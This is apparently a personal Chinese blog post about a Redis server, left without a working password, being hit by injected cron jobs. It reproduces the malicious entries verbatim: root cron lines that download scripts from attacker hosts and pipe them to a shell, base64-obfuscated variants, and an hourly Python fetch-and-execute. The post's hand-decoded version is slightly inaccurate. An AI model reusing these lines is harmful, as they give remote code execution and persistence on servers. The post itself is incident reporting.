^-^
服务器Redis被注入脚本

一、前言

服务器之前部署了个项目用到了Redis,用Docker装的,没设置好密码当时也没怎么在意。
这两天学Redis的时候突然发现出问题了。

二、情况

今天服务器里的Redis用命令行能连上、自己电脑上用了个图形界面的软件试着也能能连上,学Jedis时写了个demo程序运行后发现连不上。

连上Redis排查后发现原本的数据全没了,只剩下四条数据,backup1、backup2、backup3和backup4。
还想着是不是又在哪配置错了Redis给我整了个定期备份还backup呢,随手点开一看,内容是这样:

1
2
3
4
*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh

看到几条cron表达式还要用root执行命令,突然想起来前两天听说Redis会被注入挖矿脚本,查了一下,还真是被注入脚本了。
一顿操作后发现服务器里的Redis根本不用密码就能连上,原来这么久过来我配的密码一点用都没有。
其间调试的时候反复用Docker启动删除Redis,有一次时间也就有个五分钟,没想到又被注入了,真够厉害。
内容是这样,还用了base64加密。

1
2
3
4
*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash 
*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash
*/4 * * * * root echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash
@hourly python -c "import urllib2; print urllib2.urlopen('http://b.9-9-8.com/t.sh').read()" >.1;chmod +x .1;./.1

把加密的部分解码后,查了一下果然还是脚本。不过这里为什么要加密。

1
2
3
4
*/2 * * * * root echo cd1 http://b.9-9-8.com/brysj/b.sh -d|bash|bash 
*/3 * * * * root echo wget -q -O- http://b.9-9-8.com/brysj/b.sh -d|bash|bash
*/4 * * * * root echo curl http:///b.9-9-8.com/brysj/b.sh -d|bash|bash
@hourly python -c "import urllib2; print urllib2.urlopen('http://b.9-9-8.com/t.sh').read()" >.1;chmod +x .1;./.1

三、结果

后面折腾了一晚上,终于把Redis的密码给设置上了,顺便也把端口给改了。
顺便在网上找到了一篇相关的文章,关于这个”zzhreceive.top“的:
Watchdog 还是 TeamTNT?一例攻击归因刍议】看不懂,感觉好厉害。
希望这脚本对服务器没什么影响。

最后Jedis连上了,不是因为被注入脚本的问题,只是传给Jedis的域名写错了。